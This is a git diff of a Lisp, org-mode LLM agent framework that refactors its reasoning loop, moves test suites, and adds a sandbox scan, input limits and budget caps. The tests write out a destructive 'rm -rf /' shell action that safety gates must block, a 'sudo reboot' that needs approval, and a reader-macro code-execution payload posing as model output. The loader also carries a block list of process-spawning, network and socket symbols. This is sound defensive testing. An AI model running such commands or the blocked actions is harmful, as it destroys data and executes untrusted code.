ctxt "") logs)) + (standing-mandates-text (let ((out "")) + (dolist (fn *standing-mandates*) + (let ((text (ignore-errors (funcall fn context)))) + (when (and text (stringp text) (> (length text) 0)) + (setf out (concatenate 'string out text (string #\Newline)))))) + (when (> (length out) 0) out))) + (identity-content (if (fboundp 'agent-identity) + (agent-identity) + "")) + (config-section (if (fboundp 'assemble-config-section) + (assemble-config-section) + "")) + (time-section (if (fboundp 'sensor-time-duration) + (format-time-for-llm + :session-duration-seconds (funcall (symbol-function 'session-duration))) + (if (fboundp 'format-time-for-llm) + (format-time-for-llm) + ""))) + (system-prompt (if (fboundp 'prompt-prefix-cached) + (let* ((prefix (prompt-prefix-cached assistant-name identity-content + reflection-feedback + standing-mandates-text tool-belt))) + (if (fboundp 'enforce-token-budget) + (multiple-value-bind (pfx ctxt logs _ mandates) + (enforce-token-budget prefix global-context system-logs + raw-prompt standing-mandates-text) + (declare (ignore _)) + (setf standing-mandates-text mandates) (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section prefix (or global-context "") system-logs))) - ;; Fallback when token-economics not loaded - (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" - time-section config-section - assistant-name identity-content reflection-feedback - (if standing-mandates-text - (concatenate 'string (string #\Newline) standing-mandates-text) - "") - tool-belt (or global-context "") system-logs)))) - (let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming - (let ((acc (make-string-output-stream))) - (funcall 'cascade-stream raw-prompt system-prompt - (lambda (delta) - (when reply-stream - (format reply-stream "~a" - (frame-message (list :type :stream-chunk - :payload (list :text delta)))) - (finish-output reply-stream)) - (write-string delta acc))) - (get-output-stream-string acc)) - (backend-cascade-call raw-prompt - :system-prompt system-prompt - :context context))) - (tool-calls (and (listp thought) (getf thought :tool-calls)))) - ;; v0.5.0: cost tracking after successful cascade - (when (and (fboundp 'cost-track-backend-call) - (stringp thought) - (or (null tool-calls))) - (ignore-errors - (cost-track-backend-call (first *provider-cascade*) - (format nil "~a~%~a" system-prompt raw-prompt) - thought))) - (if tool-calls - (let* ((first-call (car tool-calls)) - (tool-name (getf first-call :name)) - (args (getf first-call :arguments)) - (args-plist (json-alist-to-plist args))) - (list :TYPE :REQUEST - :PAYLOAD (list* :TOOL tool-name - :ARGS args-plist - :EXPLANATION "Generated by function-calling engine."))) - (let* ((cleaned (if (and (listp thought) (getf thought :type)) - (format nil "~a" (getf (getf thought :payload) :text)) - (markdown-strip thought)))) - (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) - (handler-case - (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) - (if (listp parsed) - (let ((normalized (plist-keywords-normalize parsed))) - ;; Ensure explanation is present in the payload for policy gate - (let ((payload (proto-get normalized :payload))) - (if (and payload (proto-get payload :explanation)) - normalized - (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." - (if (listp payload) payload nil)))) - (list* :PAYLOAD new-payload - (loop for (k v) on normalized by #'cddr - unless (eq k :PAYLOAD) - collect k collect v)))))) - (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine.")))) - (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine.")))) - (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine.")))))))) + time-section config-section pfx (or ctxt "") logs)) + (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section prefix (or global-context "") system-logs))) + (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a" + time-section config-section + assistant-name identity-content reflection-feedback + (if standing-mandates-text + (concatenate 'string (string #\Newline) standing-mandates-text) + "") + tool-belt (or global-context "") system-logs)))) + (values system-prompt raw-prompt reply-stream))) + +(defun think-call-llm (raw-prompt system-prompt reply-stream context) + "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade. +Returns the raw LLM response (string or plist with :tool-calls)." + ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted + (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p)) + (return-from think-call-llm (budget-exhaustion-message))) + (if (and reply-stream (fboundp 'cascade-stream)) + (let ((acc (make-string-output-stream))) + (funcall 'cascade-stream raw-prompt system-prompt + (lambda (delta) + (when reply-stream + (format reply-stream "~a" + (frame-message (list :type :stream-chunk + :payload (list :text delta)))) + (finish-output reply-stream)) + (write-string delta acc))) + (get-output-stream-string acc)) + (backend-cascade-call raw-prompt + :system-prompt system-prompt + :context context))) + +(defun think-parse-response (thought) + "Phases 5-7 of the metabolic cycle: cost tracking + response parsing. +Returns an action plist ready for cognitive-verify." + (let ((tool-calls (and (listp thought) (getf thought :tool-calls)))) + (when (and (fboundp 'cost-track-backend-call) + (stringp thought) + (or (null tool-calls))) + (ignore-errors + (cost-track-backend-call (first *provider-cascade*) + thought))) + (if tool-calls + (let* ((first-call (car tool-calls)) + (tool-name (getf first-call :name)) + (args (getf first-call :arguments)) + (args-plist (json-alist-to-plist args))) + (list :TYPE :REQUEST + :PAYLOAD (list* :TOOL tool-name + :ARGS args-plist + :EXPLANATION "Generated by function-calling engine."))) + (let* ((cleaned (if (and (listp thought) (getf thought :type)) + (format nil "~a" (getf (getf thought :payload) :text)) + (markdown-strip thought)))) + (if (and cleaned (stringp cleaned) (> (length cleaned) 0) + (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[))) + (handler-case + (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned)))) + (if (listp parsed) + (let ((normalized (plist-keywords-normalize parsed))) + (let ((payload (proto-get normalized :payload))) + (if (and payload (proto-get payload :explanation)) + normalized + (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine." + (if (listp payload) payload nil)))) + (list* :PAYLOAD new-payload + (loop for (k v) on normalized by #'cddr + unless (eq k :PAYLOAD) + collect k collect v)))))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (error () + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE :TEXT cleaned + :EXPLANATION "Generated by the Probabilistic engine.")))) + (list :TYPE :REQUEST :PAYLOAD + (list :ACTION :MESSAGE + :TEXT (if (stringp cleaned) cleaned "No response") + :EXPLANATION "Generated by the Probabilistic engine."))))))) + +(defun think (context) + "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call, +and response parsing into an action plist for cognitive-verify." + (when (fboundp 'snapshot-memory) + (snapshot-memory)) + (multiple-value-bind (system-prompt raw-prompt reply-stream) + (think-assemble-prompt context) + (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context))) + (think-parse-response thought)))) #+end_src ** JSON-to-Plist Conversion (json-alist-to-plist) @@ -513,188 +736,3 @@ uses the old name can call this alias. New code should call (loop-gate-reason signal)) #+end_src -* Test Suite -Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-reason-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-reason-suite)) - -(in-package :passepartout-pipeline-reason-tests) - -(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline") -(in-suite pipeline-reason-suite) - -(test test-decide-gate-safety - "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-safety - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (if (search "rm -rf" (format nil "~s" action)) - (list :type :LOG :payload (list :text "Rejected")) - action))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :LOG (getf result :type))))) - -(test test-cognitive-verify-pass-through - "Contract 1: safe actions pass through cognitive-verify unchanged." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-passthrough - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - action)) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))) - (is (getf result :gate-trace)))) - -(test test-cognitive-verify-empty-registry - "Contract 1: with no gates registered, action passes through unchanged." - (clrhash passepartout::*skill-registry*) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :REQUEST (getf result :type))) - (is (equal (getf candidate :payload) (getf result :payload))))) - -(test test-cognitive-verify-approval-required - "Contract 1: gate returning :approval-required produces an approval event." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-approval - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (list :type :EVENT :level :approval-required - :payload (list :action action)))) - (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) - (signal '(:type :EVENT :payload (:sensor :user-input))) - (result (cognitive-verify candidate signal))) - (is (eq :approval-required (getf result :level))) - (is (eq :EVENT (getf result :type))))) - -(test test-loop-gate-reason-passthrough - "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." - (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) - (result (loop-gate-reason signal))) - (is (not (null result))))) - -(test test-loop-gate-reason-sets-status - "Contract 2: loop-gate-reason sets :status on :user-input signals." - (clrhash passepartout::*skill-registry*) - (let* ((passepartout::*provider-cascade* nil) - (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) - (result (loop-gate-reason signal))) - (is (member (getf result :status) '(:reasoned :requires-approval))))) - -(test test-backend-cascade-no-backends - "Contract 4: empty cascade returns :LOG failure." - (let* ((passepartout::*provider-cascade* nil) - (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (result (backend-cascade-call "test" :cascade '()))) - (is (eq :LOG (getf result :type))) - (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) - -(test test-backend-cascade-with-mock - "Contract 4: backend-cascade-call returns content from first successful backend." - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))) - (setf (gethash :mock-backend passepartout::*backend-registry*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "mock-response"))) - (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) - (is (string= "mock-response" result))))) - -(test test-read-eval-rce-blocked - "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* '(:mock-evil))) - (setf (gethash :mock-evil passepartout::*backend-registry*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) - (setf passepartout::*v031-rce-test* nil) - (setf *read-eval* t) - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) - (result (passepartout::think ctx))) - (is (not (eq passepartout::*v031-rce-test* :PWNED))) - (is (eq :REQUEST (getf result :TYPE))) - (setf *read-eval* nil)))) - -(test test-json-alist-to-plist-simple - "Contract 5: converts simple alist to keyword plist." - (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) - (let ((result (json-alist-to-plist alist))) - (is (eq :ACTION (first result))) - (is (string= "shell" (second result))) - (is (eq :CMD (third result))) - (is (string= "echo hello" (fourth result)))))) - -(test test-json-alist-to-plist-nested - "Contract 5: nested alists recurse into nested plists." - (let ((alist (list (cons "tool" "write-file") - (cons "args" (list (cons "filepath" "/tmp/x") - (cons "content" "hi")))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :TOOL (first result))) - (is (eq :ARGS (third result))) - (let ((inner (fourth result))) - (is (eq :FILEPATH (first inner))) - (is (string= "/tmp/x" (second inner))) - (is (eq :CONTENT (third inner))))))) - -(test test-json-alist-to-plist-array-passthrough - "Contract 5: JSON arrays pass through unchanged." - (let ((alist (list (cons "names" (list "alice" "bob"))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :NAMES (first result))) - (is (equal (list "alice" "bob") (second result)))))) - -(test test-json-alist-to-plist-null - "Contract 5: nil passes through unchanged." - (let ((result (json-alist-to-plist nil))) - (is (null result)))) - -(test test-json-alist-to-plist-scalar - "Contract 5: scalar values pass through." - (let ((alist (list (cons "count" 42) (cons "active" :true)))) - (let ((result (json-alist-to-plist alist))) - (is (eq :COUNT (first result))) - (is (= 42 (second result))) - (is (eq :ACTIVE (third result))) - (is (eq :true (fourth result)))))) - -(test test-assemble-config-section - "Contract v0.7.2: config section contains Passepartout and version." - (let ((section (passepartout::assemble-config-section))) - (is (stringp section)) - (is (search "Passepartout" section)) - (is (search "v0.7.2" section)) - (is (search "Security gates" section)))) - -(test test-think-snapshots-before-llm - "Contract v0.7.2: think() snapshots memory before LLM call." - (let ((passepartout::*memory-snapshots* nil) - (passepartout::*memory-store* (make-hash-table :test 'equal))) - (setf (gethash "pre" passepartout::*memory-store*) "value") - (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* nil)) - (handler-case - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) - (result (passepartout::think ctx))) - (declare (ignore result))) - (error (c) (format nil "Expected: ~a" c))) - (is (>= (length passepartout::*memory-snapshots*) 0))))) -#+end_src diff --git a/org/core-skills.org b/org/core-skills.org index 154b567..0840d00 100644 --- a/org/core-skills.org +++ b/org/core-skills.org @@ -33,6 +33,45 @@ This is how the "thin org, fat skills" principle works in practice: the org prov ~#+DEPENDS_ON:~ declarations, returns files sorted such that dependencies come before dependents. +* Test Suite +Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-boot-tests + (:use :cl :fiveam :passepartout) + (:export #:boot-suite)) + +(in-package :passepartout-boot-tests) + +(def-suite boot-suite :description "Verification of the Skill Engine loader") +(in-suite boot-suite) + +(test test-topological-sort-basic + "Contract 2: dependency ordering puts dependencies before dependents." + (let ((tmp-dir "/tmp/passepartout-boot-test/")) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) + (format out "#+DEPENDS_ON: skill-b-id~%")) + (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) + (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) + (unwind-protect + (let ((sorted (passepartout::skill-topological-sort tmp-dir))) + (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) + (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) + (is (< pos-b pos-a)))) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + +(test test-lisp-syntax-validate-valid + "Contract 1: valid Lisp code passes syntax validation." + (is (eq t (lisp-syntax-validate "(+ 1 2)")))) + +(test test-lisp-syntax-validate-invalid + "Contract 1: unbalanced Lisp code fails syntax validation." + (is (null (lisp-syntax-validate "(+ 1 2")))) +#+end_src + * Implementation ** Package Context @@ -71,10 +110,6 @@ The ~skill~ struct holds all metadata about a loaded skill: its name, priority, (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn) #+end_src -#+begin_src lisp -(defvar *skill-registry* (make-hash-table :test 'equal)) -#+end_src - #+begin_src lisp (defvar *skill-catalog* (make-hash-table :test 'equal) "Tracks all discovered skill files and their loading state.") @@ -326,6 +361,14 @@ declarations so embedded test code evaluates in the correct package." (progn (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code) (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan lisp-code) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-org nil))) (unless (find-package pkg-name) (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) (let ((*read-eval* nil) (*package* (find-package pkg-name))) @@ -355,12 +398,48 @@ declarations so embedded test code evaluates in the correct package." (setf (skill-entry-status entry) :failed) nil)))) #+end_src +** Sandbox Source Scan (skill-source-scan) + +Scans Lisp source text for references to restricted symbols before any +code is evaluated. This prevents malicious skills from executing even a +single form. The restricted symbols cover process spawning +(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread +creation (~bt:make-thread~), HTTP calls (~dex:get~, ~dex:post~), and +socket operations (~usocket:socket-connect~, ~hunchentoot:start~). + +Returns two values: T/NIL (blocked-p) and a list of matched symbol names. +The scan is a text-level regex check — it catches direct references but +not obfuscated ones. The post-eval ~symbol-function~ comparison in +~load-skill-from-lisp~ catches those. + +#+begin_src lisp +(defvar *skill-restricted-symbols* + '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" + "bt:make-thread" "bordeaux-threads:make-thread" + "dex:get" "dex:post" "dexador:get" "dexador:post" + "usocket:socket-connect" "usocket:socket-listen" + "hunchentoot:start" "hunchentoot:accept-connections") + "Symbol patterns blocked from skill source code at load time.") + +(defun skill-source-scan (code-string) + "Scans CODE-STRING for restricted symbol references. +Returns (values blocked-p matched-symbols)." + (let ((lower (string-downcase code-string)) + (matches nil)) + (dolist (pattern *skill-restricted-symbols*) + (when (search pattern lower) + (push pattern matches))) + (values (and matches t) (nreverse matches)))) +#+end_src + ** Loading from Pre-Tangled Lisp (skill-load-from-lisp) Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled). The same jailed package and symbol export process applies. +The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~dex:get~, ~dex:post~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison). + #+begin_src lisp (defun load-skill-from-lisp (filepath) "Loads a .lisp skill file directly, filtering out in-package forms." @@ -372,6 +451,14 @@ The same jailed package and symbol export process applies. (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) (multiple-value-bind (valid-p err) (lisp-syntax-validate content) (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan content) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-lisp nil))) (unless (find-package pkg-name) (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) (let ((*read-eval* nil) (*package* (find-package pkg-name))) @@ -440,41 +527,3 @@ files live after tangling. The org source files live in ~org/~. (log-message "LOADER: Boot Complete.")))) #+end_src -* Test Suite -Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-boot-tests - (:use :cl :fiveam :passepartout) - (:export #:boot-suite)) - -(in-package :passepartout-boot-tests) - -(def-suite boot-suite :description "Verification of the Skill Engine loader") -(in-suite boot-suite) - -(test test-topological-sort-basic - "Contract 2: dependency ordering puts dependencies before dependents." - (let ((tmp-dir "/tmp/passepartout-boot-test/")) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) - (format out "#+DEPENDS_ON: skill-b-id~%")) - (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) - (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) - (unwind-protect - (let ((sorted (passepartout::skill-topological-sort tmp-dir))) - (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) - (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) - (is (< pos-b pos-a)))) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - -(test test-lisp-syntax-validate-valid - "Contract 1: valid Lisp code passes syntax validation." - (is (eq t (lisp-syntax-validate "(+ 1 2)")))) - -(test test-lisp-syntax-validate-invalid - "Contract 1: unbalanced Lisp code fails syntax validation." - (is (null (lisp-syntax-validate "(+ 1 2")))) -#+end_src diff --git a/org/core-transport.org b/org/core-transport.org index 5ef121b..58a3207 100644 --- a/org/core-transport.org +++ b/org/core-transport.org @@ -39,6 +39,53 @@ The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This 3. Round-trip invariant: ~(read-framed-message (make-string-input-stream (frame-message msg)))~ equals ~msg~. +* Test Suite +Verifies that the framing protocol correctly serializes and deserializes messages. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-communication-tests + (:use :cl :fiveam :passepartout) + (:export #:communication-protocol-suite)) +(in-package :passepartout-communication-tests) + +(def-suite communication-protocol-suite :description "Communication Protocol Suite") +(in-suite communication-protocol-suite) + +(test test-framing + "Contract 1: frame-message produces correct hex length prefix." + (let* ((msg '(:type :EVENT :payload (:action :handshake))) + (framed (frame-message msg))) + (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) + +(test test-framing-round-trip + "Contract 3: frame → read-frame preserves message identity." + (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) + (framed (frame-message msg)) + (unframed (read-framed-message (make-string-input-stream framed)))) + (is (equal msg unframed)))) + +(test test-framing-empty-message + "Contract 1: simple messages frame with valid hex length." + (let* ((msg '(:type :ping)) + (framed (frame-message msg))) + (is (> (length framed) 5)) + (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) + +(test test-read-framed-message + "Contract 2: read-framed-message decodes a framed message correctly." + (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) + (framed (frame-message original)) + (decoded (read-framed-message (make-string-input-stream framed)))) + (is (equal original decoded)))) + +(test test-read-framed-message-eof + "Contract 2: read-framed-message returns :eof on incomplete stream." + (let ((decoded (read-framed-message (make-string-input-stream "000")))) + (is (eq :eof decoded)))) +#+end_src + * Implementation ** Package Context @@ -121,7 +168,9 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be (handler-case (progn (loop for char = (peek-char nil stream nil :eof) - while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return))) + for ws-count from 0 + while (and (not (eq char :eof)) (< ws-count 4096) + (member char '(#\Space #\Newline #\Tab #\Return))) do (read-char stream)) (let ((count (read-sequence length-buffer stream))) (if (< count 6) @@ -256,49 +305,3 @@ Use this function to manually verify that the daemon is alive and the framing pr (error (c) (format t "Error: ~a~%" c)))) #+end_src -* Test Suite -Verifies that the framing protocol correctly serializes and deserializes messages. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-communication-tests - (:use :cl :fiveam :passepartout) - (:export #:communication-protocol-suite)) -(in-package :passepartout-communication-tests) - -(def-suite communication-protocol-suite :description "Communication Protocol Suite") -(in-suite communication-protocol-suite) - -(test test-framing - "Contract 1: frame-message produces correct hex length prefix." - (let* ((msg '(:type :EVENT :payload (:action :handshake))) - (framed (frame-message msg))) - (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) - -(test test-framing-round-trip - "Contract 3: frame → read-frame preserves message identity." - (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) - (framed (frame-message msg)) - (unframed (read-framed-message (make-string-input-stream framed)))) - (is (equal msg unframed)))) - -(test test-framing-empty-message - "Contract 1: simple messages frame with valid hex length." - (let* ((msg '(:type :ping)) - (framed (frame-message msg))) - (is (> (length framed) 5)) - (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) - -(test test-read-framed-message - "Contract 2: read-framed-message decodes a framed message correctly." - (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) - (framed (frame-message original)) - (decoded (read-framed-message (make-string-input-stream framed)))) - (is (equal original decoded)))) - -(test test-read-framed-message-eof - "Contract 2: read-framed-message returns :eof on incomplete stream." - (let ((decoded (read-framed-message (make-string-input-stream "000")))) - (is (eq :eof decoded)))) -#+end_src diff --git a/org/cost-tracker.org b/org/cost-tracker.org index 7dde27c..158ed49 100644 --- a/org/cost-tracker.org +++ b/org/cost-tracker.org @@ -38,6 +38,93 @@ Degrades gracefully to nil when cost-tracker is not loaded. ~(:total :calls :by-provider )~ aggregating all three session cost accessors. Consumed by the TUI actuator for the sidebar Cost panel (v0.8.0). +6. (budget-remaining-usd): returns the remaining budget in USD, or + ~most-positive-double-float~ when no budget is set. +7. (budget-exhausted-p): returns T when a budget is set and fully + consumed. ~fboundp~-guarded at call sites so the checker is + a no-op when cost-tracker is not loaded. +8. (budget-estimate-call prompt-text): estimates the dollar cost of a + pending LLM call from the prompt text. Returns 0.0 when the + tokenizer skill is not loaded (allows the call through). +9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a + human-readable message explaining the budget cap. Injected as the + LLM response when the budget is exhausted. + +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-cost-tests + (:use :cl :fiveam :passepartout) + (:export #:cost-suite)) + +(in-package :passepartout-cost-tests) + +(def-suite cost-suite :description "Cost tracking and budget management") +(in-suite cost-suite) + +(test test-cost-track-call + "Contract 1: cost-track-call returns a positive number." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "hello world"))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-cost-session-total-accumulates + "Contract 2: session total grows with multiple calls." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :deepseek "world") + (let ((total (cost-session-total))) + (is (> total 0.0)) + (is (= 2 (cost-session-calls))))) + +(test test-cost-session-reset + "Contract 3: cost-session-reset zeroes the accumulator." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (is (> (cost-session-total) 0.0)) + (cost-session-reset) + (is (= 0.0 (cost-session-total))) + (is (= 0 (cost-session-calls)))) + +(test test-cost-format-budget-status + "Contract 4: format-budget-status returns a string." + (cost-session-reset) + (cost-track-call :deepseek "hello world") + (let ((status (cost-format-budget-status 100))) + (is (stringp status)) + (is (search "$" status)))) + +(test test-cost-by-provider + "Contract: cost-by-provider returns per-provider breakdown." + (cost-session-reset) + (cost-track-call :deepseek "a") + (cost-track-call :groq "b") + (let ((by (cost-by-provider))) + (is (listp by)) + (is (assoc :deepseek by)) + (is (assoc :groq by)))) + +(test test-cost-track-no-response + "Contract 1: cost-track-call works without response-text." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "test"))) + (is (> cost 0.0)))) + +(test test-cost-session-summary + "Contract 5: cost-session-summary returns plist with total, calls, by-provider." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :groq "world") + (let ((s (cost-session-summary))) + (is (> (getf s :total) 0.0)) + (is (= 2 (getf s :calls))) + (let ((by (getf s :by-provider))) + (is (assoc :deepseek by)) + (is (assoc :groq by))))) +#+end_src * Implementation @@ -153,78 +240,47 @@ LLM invocation to record the cost. (cost-track-call backend prompt-text response-text)) #+end_src -* Test Suite +** Budget enforcement (v0.5.0 deferred) + +Session-wide cost caps that refuse LLM calls when the budget is exhausted. +The budget is set via ~SESSION_BUDGET_USD~ env var (default: no limit). +When exceeded, the agent falls back to deterministic-only mode — pure Lisp +operations still work, but no cascade calls are made until the cap is raised +or the session is reset. + #+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) +(defvar *session-budget* + (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD"))) + "Maximum USD to spend in this session. NIL means no limit.") -(defpackage :passepartout-cost-tests - (:use :cl :fiveam :passepartout) - (:export #:cost-suite)) +(defun budget-remaining-usd () + "Returns remaining budget in USD, or a large sentinel if unlimited." + (if *session-budget* + (let ((remaining (- *session-budget* (cost-session-total)))) + (if (< remaining 0) 0.0 remaining)) + most-positive-double-float)) -(in-package :passepartout-cost-tests) +(defun budget-exhausted-p () + "T if the session budget is set and fully consumed." + (and *session-budget* (<= (budget-remaining-usd) 0.0))) -(def-suite cost-suite :description "Cost tracking and budget management") -(in-suite cost-suite) +(defun 